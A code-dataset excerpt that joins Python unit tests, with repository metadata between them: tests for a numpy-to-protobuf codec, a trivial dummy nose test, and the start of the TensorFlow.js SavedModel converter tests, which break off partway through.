datum.values.int64_values.extend([1, 3, 5, 7, 9, 11]) self.assertEqual(codec.encode(np.array([[1, 3, 5], [7, 9, 11]])), expected) def test_encode_2d_double_elem_ndarray(self): """A 2D np float64 array should also be reprentable.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 3 datum.shape.dim.add().size = 2 datum.values.double_values.extend([10.0, 8.0, 6.0, 4.0, 2.0, 0.0]) self.assertEqual( codec.encode(np.array([[10.0, 8.0], [6.0, 4.0], [2.0, 0.0]])), expected) ############################################################################## # # Array of np arrays tests # ############################################################################## # float64 def test_encode_one_double_elem_ndarray_list(self): """A list of one np float64 array should be representable.""" expected = storage_pb2.Data() datum = expected.array.values.add().datum datum.shape.dim.add().size = 1 datum.values.double_values.append(3.14) self.assertEqual(codec.encode([np.array([3.14])]), expected) def test_encode_multiple_double_elem_ndarray_list(self): """A list of one multidimensional np int64 array should be representable.""" expected = storage_pb2.Data() datum = expected.array.values.add().datum datum.shape.dim.add().size = 5 datum.values.double_values.extend([0.0, 0.25, 0.5, 0.75, 1.0]) self.assertEqual( codec.encode([np.array([0.0, 0.25, 0.5, 0.75, 1.0])]), expected) def test_decode_double_elem_ndarray_list(self): user_data = storage_pb2.Data() datum1 = user_data.array.values.add().datum datum1.shape.dim.add().size = 1 datum1.values.double_values.append(1.2345) datum2 = user_data.array.values.add().datum datum2.shape.dim.add().size = 2 datum2.values.double_values.extend([4.567, 8.9011]) datum3 = user_data.array.values.add().datum datum3.shape.dim.add().size = 3 datum3.shape.dim.add().size = 1 datum3.values.double_values.extend([9.8765, 4.321, -0.12345]) decoded = codec.decode(user_data) self.assertLen(decoded, 3) self.assertIsInstance(decoded, list) np.testing.assert_equal(decoded[0], np.array([1.2345], dtype=np.float64)) np.testing.assert_equal(decoded[1], np.array([4.567, 8.9011], dtype=np.float64)) np.testing.assert_equal( decoded[2], np.array([[9.8765], [4.321], [-0.12345]], dtype=np.float64)) # int64 def test_encode_one_int64_elem_ndarray_list(self): """A list of one np int64 array should be representable.""" expected = storage_pb2.Data() datum = expected.array.values.add().datum datum.shape.dim.add().size = 1 datum.values.int64_values.append(719) self.assertEqual(codec.encode([np.array([719])]), expected) def test_encode_multiple_int64_elem_ndarray_list(self): """A list of one multidimensional np int64 array should be representable.""" expected = storage_pb2.Data() datum = expected.array.values.add().datum datum.shape.dim.add().size = 5 datum.values.int64_values.extend([1, 1, 2, 3, 5]) self.assertEqual(codec.encode([np.array([1, 1, 2, 3, 5])]), expected) def test_decode_int64_elem_ndarray_list(self): user_data = storage_pb2.Data() datum1 = user_data.array.values.add().datum datum1.shape.dim.add().size = 1 datum1.values.int64_values.append(1000) datum2 = user_data.array.values.add().datum datum2.shape.dim.add().size = 2 datum2.values.int64_values.extend([2000, 3000]) datum3 = user_data.array.values.add().datum datum3.shape.dim.add().size = 3 datum3.shape.dim.add().size = 1 datum3.values.int64_values.extend([4000, 5000, 6000]) decoded = codec.decode(user_data) self.assertLen(decoded, 3) self.assertIsInstance(decoded, list) np.testing.assert_equal(decoded[0], np.array([1000], dtype=np.int64)) np.testing.assert_equal(decoded[1], np.array([2000, 3000], dtype=np.int64)) np.testing.assert_equal(decoded[2], np.array([[4000], [5000], [6000]], dtype=np.int64)) ############################################################################## # # Tuple tests # ############################################################################## def test_encode_one_double_elem_ndarray_tuple(self): """Tuples of np float64 arrays should be representable.""" expected = storage_pb2.Data() datum = expected.tuple.values.add().datum datum.shape.dim.add().size = 1 datum.values.double_values.append(-1 / 12) self.assertEqual(codec.encode((np.array([-1 / 12]),)), expected) def test_encode_multiple_double_elem_ndarray_tuple(self): """Tuples of np float64 arrays should be representable.""" expected = storage_pb2.Data() datum = expected.tuple.values.add().datum datum.shape.dim.add().size = 2 datum.values.double_values.extend([6.28, 2.71828]) self.assertEqual(codec.encode((np.array([6.28, 2.71828]),)), expected) def test_decode_double_elem_ndarray_tuple(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() datum1 = user_data.tuple.values.add().datum datum1.shape.dim.add().size = 1 datum1.values.double_values.append(1.2345) datum2 = user_data.tuple.values.add().datum datum2.shape.dim.add().size = 2 datum2.values.double_values.extend([4.567, 8.9011]) datum3 = user_data.tuple.values.add().datum datum3.shape.dim.add().size = 3 datum3.shape.dim.add().size = 1 datum3.values.double_values.extend([9.8765, 4.321, -0.12345]) decoded = codec.decode(user_data) self.assertLen(decoded, 3) self.assertIsInstance(decoded, tuple) np.testing.assert_equal(decoded[0], np.array([1.2345], dtype=np.float64)) np.testing.assert_equal(decoded[1], np.array([4.567, 8.9011], dtype=np.float64)) np.testing.assert_equal( decoded[2], np.array([[9.8765], [4.321], [-0.12345]], dtype=np.float64)) def test_encode_one_int64_elem_ndarray_tuple(self): """Tuples of np int64 arrays should be representable.""" expected = storage_pb2.Data() datum = expected.tuple.values.add().datum datum.shape.dim.add().size = 1 datum.values.int64_values.append(1729) self.assertEqual(codec.encode((np.array([1729]),)), expected) def test_encode_multiple_int64_elem_ndarray_tuple(self): """Tuples of np int64 arrays should be representable.""" expected = storage_pb2.Data() datum = expected.tuple.values.add().datum datum.shape.dim.add().size = 6 datum.values.int64_values.extend([2, 3, 5, 7, 9, 11]) self.assertEqual(codec.encode((np.array([2, 3, 5, 7, 9, 11]),)), expected) def test_decode_int64_elem_ndarray_tuple(self): user_data = storage_pb2.Data() datum1 = user_data.tuple.values.add().datum datum1.shape.dim.add().size = 1 datum1.values.int64_values.append(1000) datum2 = user_data.tuple.values.add().datum datum2.shape.dim.add().size = 2 datum2.values.int64_values.extend([2000, 3000]) datum3 = user_data.tuple.values.add().datum datum3.shape.dim.add().size = 3 datum3.shape.dim.add().size = 1 datum3.values.int64_values.extend([4000, 5000, 6000]) decoded = codec.decode(user_data) self.assertLen(decoded, 3) self.assertIsInstance(decoded, tuple) np.testing.assert_equal(decoded[0], np.array([1000], dtype=np.int64)) np.testing.assert_equal(decoded[1], np.array([2000, 3000], dtype=np.int64)) np.testing.assert_equal(decoded[2], np.array([[4000], [5000], [6000]], dtype=np.int64)) ############################################################################## # # Dict tests # ############################################################################## def test_encode_int64_elem_ndarray_dict(self): """Dict of int64 and of other dicts.""" expected = storage_pb2.Data() d = expected.dict.values datum1 = d['good'].datum datum1.shape.dim.add().size = 1 datum1.values.int64_values.append(1) datum2 = d['bad'].datum datum2.shape.dim.add().size = 1 datum2.values.int64_values.append(-1) # Dict also supports nested dicts. datum3 = d['nested_dict'].dict.values['cumulants'].datum datum3.shape.dim.add().size = 2 datum3.values.int64_values.extend([1000, -2]) self.assertEqual( codec.encode({ 'good': np.array([1]), 'bad': np.array([-1]), 'nested_dict': { 'cumulants': np.array([1000, -2]) } }), expected) def test_encode_double_elem_ndarray_dict(self): """Dicts of np arrays.""" expected = storage_pb2.Data() d = expected.dict.values datum1 = d['golden'].datum datum1.shape.dim.add().size = 1 datum1.values.double_values.append(1.618) datum2 = d['sqrt2'].datum datum2.shape.dim.add().size = 1 datum2.values.double_values.append(1.41421) self.assertEqual( codec.encode({ 'golden': np.array([1.618]), 'sqrt2': np.array([1.41421]) }), expected) def test_encode_mixed_elem_ndarray_dict(self): """Dicts of np arrays of different dtypes.""" expected = storage_pb2.Data() d = expected.dict.values datum1 = d['mozart_death'].datum datum1.shape.dim.add().size = 1 datum1.values.int64_values.append(35) datum2 = d['sqrt3'].datum datum2.shape.dim.add().size = 1 datum2.values.double_values.append(1.73205) self.assertEqual( codec.encode({ 'mozart_death': np.array([35]), 'sqrt3': np.array([1.73205]) }), expected) def test_decode_dict(self): user_data = storage_pb2.Data() datum1 = user_data.dict.values['pi'].datum datum1.shape.dim.add().size = 1 datum1.values.double_values.append(3.14159265) datum2 = user_data.dict.values['primes'].datum datum2.shape.dim.add().size = 5 datum2.values.int64_values.extend([2, 3, 5, 7, 11]) datum3 = user_data.dict.values['negative_squares_doubles'].datum datum3.shape.dim.add().size = 5 datum3.shape.dim.add().size = 2 datum3.values.int64_values.extend( [-1, -4, -9, -16, -25, -2, -8, -18, -32, -50]) decoded = codec.decode(user_data) self.assertIsInstance(decoded, dict) self.assertIn('pi', decoded) np.testing.assert_equal(decoded['pi'], np.array([3.14159265], dtype=np.float64)) self.assertIn('primes', decoded) np.testing.assert_equal(decoded['primes'], np.array([2, 3, 5, 7, 11], dtype=np.int64)) self.assertIn('negative_squares_doubles', decoded) np.testing.assert_equal( decoded['negative_squares_doubles'], np.array([[-1, -4], [-9, -16], [-25, -2], [-8, -18], [-32, -50]], dtype=np.int64)) def test_encode_dict_int_keys(self): """Dict with Python int keys.""" expected = storage_pb2.Data() d = expected.dict.kvs t1 = d.values.add().tuple k1 = t1.values.add().datum k1.shape.dim.add().size = -438 k1.values.bigint_values.append(b'{') # 123 == b'{' v1 = t1.values.add().datum v1.shape.dim.add().size = -438 v1.values.int64_values.append(456) self.assertEqual(codec.encode({123: np.int64(456)}), expected) def test_decode_dict_int_keys(self): """Dict with Python int keys.""" user_data = storage_pb2.Data() d = user_data.dict.kvs t1 = d.values.add().tuple k1 = t1.values.add().datum k1.shape.dim.add().size = -438 k1.values.bigint_values.append(b'{') # 123 == b'{' v1 = t1.values.add().datum v1.shape.dim.add().size = -438 v1.values.int64_values.append(456) self.assertEqual(codec.decode(user_data), {123: np.int64(456)}) def test_identity_dict_int_keys(self): """Dict with Python int keys.""" self.assertEqual( codec.decode(codec.encode({123: np.int64(456)})), {123: np.int64(456)}) def test_encode_dict_int64_keys(self): """Dict with Python int64 keys.""" expected = storage_pb2.Data() d = expected.dict.kvs t1 = d.values.add().tuple k1 = t1.values.add().datum k1.shape.dim.add().size = -438 k1.values.int64_values.append(np.int64(1729)) v1 = t1.values.add().datum v1.shape.dim.add().size = -438 v1.values.int32_values.append(12345) self.assertEqual(codec.encode({np.int64(1729): np.int32(12345)}), expected) def test_decode_dict_int64_keys(self): """Dict with Python int64 keys.""" user_data = storage_pb2.Data() d = user_data.dict.kvs t1 = d.values.add().tuple k1 = t1.values.add().datum k1.shape.dim.add().size = -438 k1.values.int64_values.append(np.int64(1729)) v1 = t1.values.add().datum v1.shape.dim.add().size = -438 v1.values.int32_values.append(12345) self.assertEqual(codec.decode(user_data), {np.int64(1729): np.int32(12345)}) def test_identity_dict_int64_keys(self): """Dict with Python int keys.""" self.assertEqual( codec.decode(codec.encode({np.int64(1729): np.int32(12345)})), {np.int64(1729): np.int32(12345)}) def test_identity_dict_mixed_keytypes(self): """Dict with Python mixed key types.""" data = {123: np.int64(456), np.int64(1729): np.int32(12345), 'hello': True} self.assertEqual(codec.decode(codec.encode(data)), data) ############################################################################## # # Unsupported types tests # ############################################################################## @parameterized.named_parameters( ('modules_are_not_supported', np), ('classes_are_not_supported', set), ('functions_are_not_supported', map), ('type_classes_are_not_supported', type(int)), ('sets_are_not_supported', set()), ('complex_numbers_are_not_supported', complex(1, 2)), ) def test_unsupported_types(self, arg): """Ensures that TypeError is raised when an unsupported type is encoded.""" self.assertRaises(TypeError, codec.encode, arg) if __name__ == '__main__': absltest.main()

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65,403

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null

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0

null

0

6

71f9cf5917f141144e5f8fddb7f9c0b1f2cb2e01

105

py

Python

tests/test_dummy.py

adamgreig/saltbot

f6e991ff4c41447c6e7564b297560e79f3976b5e

[ "MIT" ]

1

2021-01-15T04:47:20.000Z

tests/test_dummy.py

adamgreig/saltbot

f6e991ff4c41447c6e7564b297560e79f3976b5e

[ "MIT" ]

17

2015-01-18T06:02:55.000Z

2015-03-11T02:46:18.000Z

tests/test_dummy.py

adamgreig/saltbot

f6e991ff4c41447c6e7564b297560e79f3976b5e

[ "MIT" ]

null

from nose.tools import assert_true class TestDummy: def test_good(self): assert_true(True)

15

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null

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1

0

1

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1

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6

9c000d3ec02a5d009f4ffab25b0fb9667b62c830

37,088

py

Python

tfjs-converter/python/tensorflowjs/converters/tf_saved_model_conversion_v2_test.py

xhcao/tfjs

1a2e5dc1dcb475e6f503e55543c790a5d4df075f

[ "Apache-2.0" ]

null

tfjs-converter/python/tensorflowjs/converters/tf_saved_model_conversion_v2_test.py

xhcao/tfjs

1a2e5dc1dcb475e6f503e55543c790a5d4df075f

[ "Apache-2.0" ]

null

tfjs-converter/python/tensorflowjs/converters/tf_saved_model_conversion_v2_test.py

xhcao/tfjs

1a2e5dc1dcb475e6f503e55543c790a5d4df075f

[ "Apache-2.0" ]

null

# Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Unit tests for artifact conversion to and from Tensorflow SavedModel v2.""" import base64 import glob import json import os import shutil import tempfile import unittest import tensorflow.compat.v2 as tf from tensorflow.python.eager import def_function from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import tensor_spec from tensorflow.python.ops import variables from tensorflow.python.training.tracking import tracking from tensorflow.python.tools import freeze_graph from tensorflow.python.saved_model.save import save import tensorflow_hub as hub from tensorflowjs import version from tensorflowjs.converters import graph_rewrite_util from tensorflowjs.converters import tf_saved_model_conversion_v2 SAVED_MODEL_DIR = 'saved_model' HUB_MODULE_DIR = 'hub_module' FROZEN_MODEL_DIR = 'frozen_model' class ConvertTest(tf.test.TestCase): def setUp(self): super(ConvertTest, self).setUp() self._tmp_dir = tempfile.mkdtemp() def tearDown(self): if os.path.isdir(self._tmp_dir): shutil.rmtree(self._tmp_dir) super(ConvertTest, self).tearDown() def _create_saved_model_v1(self): """Create a TensorFlow SavedModel for testing.""" graph = tf.Graph() with graph.as_default(): x = tf.compat.v1.constant([[37.0, -23.0], [1.0, 4.0]]) w = tf.compat.v1.get_variable('w', shape=[2, 2]) y = tf.compat.v1.matmul(x, w) output = tf.compat.v1.nn.softmax(y) init_op = w.initializer # Create a builder. save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) builder = tf.compat.v1.saved_model.builder.SavedModelBuilder(save_dir) with tf.compat.v1.Session() as sess: # Run the initializer on `w`. sess.run(init_op) builder.add_meta_graph_and_variables( sess, [tf.compat.v1.saved_model.tag_constants.SERVING], signature_def_map={ 'serving_default': tf.compat.v1.saved_model \ .signature_def_utils.predict_signature_def( inputs={'x': x}, outputs={'output': output}) }, assets_collection=None) builder.save() def _create_saved_model_v1_with_hashtable(self): """Create a TensorFlow SavedModel V1 with unused hash table for testing.""" graph = tf.Graph() with graph.as_default(): x = tf.compat.v1.placeholder('int32', [None, 2, 2]) t = tf.compat.v1.to_float(x) w = tf.compat.v1.get_variable('w', shape=[2, 2]) output = tf.compat.v1.matmul(t, w) init_op = w.initializer # Add a hash table that is not used by the output. keys = tf.constant(['key']) values = tf.constant([1]) initializer = tf.lookup.KeyValueTensorInitializer(keys, values) table = tf.lookup.StaticHashTable(initializer, -1) # Create a builder. save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) builder = tf.compat.v1.saved_model.builder.SavedModelBuilder( save_dir) with tf.compat.v1.Session() as sess: # Run the initializer on `w`. sess.run(init_op) table.lookup(keys) builder.add_meta_graph_and_variables( sess, [tf.compat.v1.saved_model.tag_constants.SERVING], signature_def_map={ 'serving_default': tf.compat.v1.saved_model \ .signature_def_utils.predict_signature_def( inputs={'t': t}, outputs={'output': output}) }, assets_collection=None) builder.save() def _create_saved_model_with_fusable_conv2d(self, use_bias): """Test a basic model with fusable conv2d.""" layers = [ tf.keras.layers.Conv2D( 16, [3, 3], padding='same', use_bias=use_bias), tf.keras.layers.BatchNormalization(), tf.keras.layers.ReLU() ] model = tf.keras.Sequential(layers) model.predict(tf.ones((1, 224, 224, 3))) tf.keras.backend.set_learning_phase(0) save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) tf.saved_model.save(model, save_dir) def _create_saved_model_with_fusable_depthwise_conv2d(self): """Test a basic model with fusable depthwise conv2d.""" layers = [ tf.keras.layers.DepthwiseConv2D( 1, use_bias=True, bias_initializer=tf.initializers.constant(0.25)), tf.keras.layers.ReLU() ] model = tf.keras.Sequential(layers) model.predict(tf.ones((1, 2, 2, 3))) tf.keras.backend.set_learning_phase(0) save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) tf.saved_model.save(model, save_dir) def _create_saved_model_with_prelu(self): """Test a basic model with fusable conv2d.""" layers = [ tf.keras.layers.Conv2D( 16, [3, 3], padding='same', use_bias=True, bias_initializer=tf.initializers.constant(0.25)), tf.keras.layers.PReLU(alpha_initializer=tf.initializers.constant(0.25)), tf.keras.layers.DepthwiseConv2D( 1, use_bias=True, bias_initializer=tf.initializers.constant(0.25)), tf.keras.layers.PReLU(alpha_initializer=tf.initializers.constant(0.25)) ] model = tf.keras.Sequential(layers) model.predict(tf.ones((1, 224, 224, 3))) tf.keras.backend.set_learning_phase(0) save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) tf.saved_model.save(model, save_dir) def _create_saved_model_with_unfusable_prelu(self): """Test a basic model with unfusable prelu.""" layers = [ tf.keras.layers.ReLU(), tf.keras.layers.PReLU(alpha_initializer=tf.initializers.constant(0.25)) ] model = tf.keras.Sequential(layers) model.predict(tf.ones((1, 224, 3))) tf.keras.backend.set_learning_phase(0) save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) tf.saved_model.save(model, save_dir) def _create_saved_model(self): """Test a basic model with functions to make sure functions are inlined.""" input_data = constant_op.constant(1., shape=[1]) root = tracking.AutoTrackable() root.v1 = variables.Variable(3.) root.v2 = variables.Variable(2.) root.f = def_function.function(lambda x: root.v1 * root.v2 * x) to_save = root.f.get_concrete_function(input_data) save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) save(root, save_dir, to_save) def _create_saved_model_with_fusable_matmul(self): """Test a fusable matmul model.""" input_data = constant_op.constant(1., shape=[1, 1]) bias_data = constant_op.constant(1., shape=[1]) root = tracking.AutoTrackable() root.v2 = variables.Variable([[2.]]) root.f = def_function.function( lambda x: tf.nn.relu(tf.nn.bias_add(tf.matmul(x, root.v2), bias_data))) to_save = root.f.get_concrete_function(input_data) save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) save(root, save_dir, to_save) def _create_saved_model_with_control_flow(self): """Test a basic model with control flow to inlined.""" @tf.function def find_next_odd(v): v1 = v + 1 while tf.equal(v1 % 2, 0): v1 = v1 + 1 return v1 root = tracking.AutoTrackable() root.f = find_next_odd to_save = root.f.get_concrete_function( tensor_spec.TensorSpec([], dtypes.int32)) save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) save(root, save_dir, to_save) def _create_unsupported_saved_model(self): root = tracking.AutoTrackable() root.w = variables.Variable(tf.random.uniform([2, 2])) @def_function.function def exported_function(x): root.x = constant_op.constant([[37.0, -23.0], [1.0, 4.0]]) root.y = tf.matmul(root.x, root.w) # unsupported op: linalg.diag root.z = tf.linalg.diag(root.y) return root.z * x root.f = exported_function to_save = root.f.get_concrete_function( tensor_spec.TensorSpec([], dtypes.float32)) save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) save(root, save_dir, to_save) def _create_saved_model_with_debug_ops(self): root = tracking.AutoTrackable() root.w = variables.Variable(tf.random.uniform([2, 2])) @def_function.function def exported_function(x): root.x = constant_op.constant([[37.0, -23.0], [1.0, 4.0]]) root.y = tf.matmul(root.x, root.w) tf.compat.v1.Print(root.x, [root.x]) tf.compat.v1.Assert(tf.greater(tf.reduce_max(root.x), 0), [root.x]) tf.compat.v1.check_numerics(root.x, 'NaN found') return root.y * x root.f = exported_function to_save = root.f.get_concrete_function( tensor_spec.TensorSpec([], dtypes.float32)) save_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) save(root, save_dir, to_save) def _create_hub_module(self): # Module function that doubles its input. def double_module_fn(): w = tf.Variable([2.0, 4.0]) x = tf.compat.v1.placeholder(dtype=tf.float32) hub.add_signature(inputs=x, outputs=x*w) graph = tf.Graph() with graph.as_default(): spec = hub.create_module_spec(double_module_fn) m = hub.Module(spec) # Export the module. with tf.compat.v1.Session(graph=graph) as sess: sess.run(tf.compat.v1.global_variables_initializer()) m.export(os.path.join(self._tmp_dir, HUB_MODULE_DIR), sess) def create_frozen_model(self): graph = tf.Graph() saved_model_dir = os.path.join(self._tmp_dir, FROZEN_MODEL_DIR) with graph.as_default(): x = tf.constant([[37.0, -23.0], [1.0, 4.0]]) w = tf.Variable(tf.random.uniform([2, 2])) y = tf.matmul(x, w) tf.nn.softmax(y) init_op = w.initializer # Create a builder builder = tf.compat.v1.saved_model.builder.SavedModelBuilder( saved_model_dir) with tf.compat.v1.Session() as sess: # Run the initializer on `w`. sess.run(init_op) builder.add_meta_graph_and_variables( sess, [tf.compat.v1.saved_model.tag_constants.SERVING], signature_def_map=None, assets_collection=None) builder.save() frozen_file = os.path.join(self._tmp_dir, FROZEN_MODEL_DIR, 'model.frozen') freeze_graph.freeze_graph( '', '', True, '', "Softmax", '', '', frozen_file, True, '', saved_model_tags=tf.compat.v1.saved_model.tag_constants.SERVING, input_saved_model_dir=saved_model_dir) def test_convert_saved_model_v1(self): self._create_saved_model_v1() input_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) output_dir = os.path.join(input_dir, 'js') tf_saved_model_conversion_v2.convert_tf_saved_model( input_dir, output_dir ) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'js') # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) weights_manifest = model_json['weightsManifest'] self.assertCountEqual(weights_manifest[0]['paths'], ['group1-shard1of1.bin']) self.assertIn('weights', weights_manifest[0]) # Check meta-data in the artifact JSON. self.assertEqual(model_json['format'], 'graph-model') self.assertEqual( model_json['convertedBy'], 'TensorFlow.js Converter v%s' % version.version) self.assertEqual(model_json['generatedBy'], tf.__version__) self.assertTrue(glob.glob(os.path.join(output_dir, 'group*-*'))) def test_convert_saved_model_v1_with_hashtable(self): self._create_saved_model_v1_with_hashtable() input_dir = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) output_dir = os.path.join(input_dir, 'js') tf_saved_model_conversion_v2.convert_tf_saved_model( input_dir, output_dir ) expected_weights_manifest = [{ 'paths': ['group1-shard1of1.bin'], 'weights': [ {'dtype': 'float32', 'name': 'w', 'shape': [2, 2]}, {'dtype': 'string', 'name': 'Const', 'shape': [1]}, {'dtype': 'int32', 'name': 'Const_1', 'shape': [1]} ]}] tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'js') # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) self.assertTrue(model_json['modelInitializer']) for node in model_json['modelTopology']['node']: if node['name'] == 'ToFloat' and node['op'] == 'Placeholder': self.assertEqual(node['attr']['shape'], {'shape': {'dim': [ {'size': '-1'}, {'size': '2'}, {'size': '2'}]}}) weights_manifest = model_json['weightsManifest'] self.assertEqual(weights_manifest, expected_weights_manifest) # Check meta-data in the artifact JSON. self.assertEqual(model_json['format'], 'graph-model') self.assertEqual( model_json['convertedBy'], 'TensorFlow.js Converter v%s' % version.version) self.assertEqual(model_json['generatedBy'], tf.__version__) self.assertTrue(glob.glob(os.path.join(output_dir, 'group*-*'))) def test_convert_saved_model(self): self._create_saved_model() tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR) ) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) weights_manifest = model_json['weightsManifest'] self.assertCountEqual(weights_manifest[0]['paths'], ['group1-shard1of1.bin']) self.assertIn('weights', weights_manifest[0]) def test_convert_saved_model_with_fused_conv2d(self): for use_bias in [True, False]: self._create_saved_model_with_fusable_conv2d(use_bias) tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR) ) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) nodes = model_json['modelTopology']['node'] fused_op = None for node in nodes: self.assertNotIn('BatchNorm', node['op']) self.assertNotIn('Relu', node['op']) self.assertNotIn('BiasAdd', node['op']) if node['op'] == '_FusedConv2D': fused_op = node self.assertIsNot(fused_op, None) self.assertEqual( base64.b64decode(fused_op['attr']['fused_ops']['list']['s'][0]), b'BiasAdd') self.assertEqual( base64.b64decode(fused_op['attr']['fused_ops']['list']['s'][1]), b'Relu') # Check meta-data in the artifact JSON. self.assertEqual(model_json['format'], 'graph-model') self.assertEqual( model_json['convertedBy'], 'TensorFlow.js Converter v%s' % version.version) self.assertEqual(model_json['generatedBy'], tf.__version__) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_saved_model_with_fused_matmul(self): self._create_saved_model_with_fusable_matmul() tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR) ) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) nodes = model_json['modelTopology']['node'] fused_op = None for node in nodes: self.assertNotEqual(node['op'], 'MatMul') self.assertNotIn('Relu', node['op']) self.assertNotIn('BiasAdd', node['op']) if node['op'] == graph_rewrite_util.FUSED_MATMUL: fused_op = node self.assertIsNot(fused_op, None) self.assertIsNot(fused_op['attr']['transpose_a'], None) self.assertIsNot(fused_op['attr']['transpose_b'], None) self.assertEqual( base64.b64decode(fused_op['attr']['fused_ops']['list']['s'][0]), b'BiasAdd') self.assertEqual( base64.b64decode(fused_op['attr']['fused_ops']['list']['s'][1]), b'Relu') # Check meta-data in the artifact JSON. self.assertEqual(model_json['format'], 'graph-model') self.assertEqual( model_json['convertedBy'], 'TensorFlow.js Converter v%s' % version.version) self.assertEqual(model_json['generatedBy'], tf.__version__) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_saved_model_with_fused_depthwise_conv2d(self): self._create_saved_model_with_fusable_depthwise_conv2d() tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR) ) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) nodes = model_json['modelTopology']['node'] fused_op = None for node in nodes: self.assertNotIn('BatchNorm', node['op']) self.assertNotIn('Relu', node['op']) self.assertNotIn('BiasAdd', node['op']) if node['op'] == graph_rewrite_util.FUSED_DEPTHWISE_CONV2D: fused_op = node self.assertIsNot(fused_op, None) self.assertIsNot(fused_op['attr']['dilations'], None) self.assertIsNot(fused_op['attr']['strides'], None) self.assertEqual( base64.b64decode(fused_op['attr']['fused_ops']['list']['s'][0]), b'BiasAdd') self.assertEqual( base64.b64decode(fused_op['attr']['fused_ops']['list']['s'][1]), b'Relu') # Check meta-data in the artifact JSON. self.assertEqual(model_json['format'], 'graph-model') self.assertEqual( model_json['convertedBy'], 'TensorFlow.js Converter v%s' % version.version) self.assertEqual(model_json['generatedBy'], tf.__version__) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_saved_model_with_prelu(self): self._create_saved_model_with_prelu() tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR) ) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) 